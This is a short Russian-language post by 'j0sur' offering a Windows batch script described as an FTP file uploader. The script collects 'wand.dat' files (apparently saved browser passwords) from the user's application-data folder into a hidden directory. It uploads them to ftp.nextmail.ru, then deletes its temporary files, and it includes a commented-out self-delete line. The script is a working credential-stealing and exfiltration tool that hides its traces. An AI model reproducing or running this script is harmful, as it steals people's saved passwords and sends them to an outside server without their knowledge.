Код батника заливки файлов по ftp
@echo off
prompt $$$g
::настройки
set ans=%temp%\ans
::файл ответов
set login=login
set pwd=pass
::логин-пасс
set dir=%date%_%time%
set ld=%systemdrive%\files
::директории
set pth=%appdata%
set mask=wand.dat
::маска для поиска
echo open ftp.nextmail.ru > %ans%
echo user %login%>> %ans%
echo %pwd%>> %ans%
::логинимя на ftp
echo mkdir %dir% >> %ans%
echo cd %dir% >> %ans%
echo binary >> %ans%
::готовимся передавать файлы
mkdir %ld%
attrib +h %ld%
::виндовый ftp не умеет работать с путями с русскими символами
::forfiles /p %pth% /s /m %mask% /c "cmd /c copy @path %ld%"
for /r "%pth%" %%d in (%mask%) do copy %%d %ld%>nul
::forfiles /p %ld% /s /m * /c "cmd /c echo put @path >> %ans%"
for /r %ld% %%d in (*) do echo put %%d >> %ans%
echo quit >> %ans%
ftp -v -n -s:%ans%
del /q /f %ans%
::del /q /f %0
rmdir /s /q %ld%
pause
Так что, все очень элементарно и просто, да и коментов полно.
Елинственное, замечу, что forfiles, наверно, более элегантен, чем for, но появился только в 2003, так что не так универсален. Что использовать, решать Вам .
Автор: j0sur
|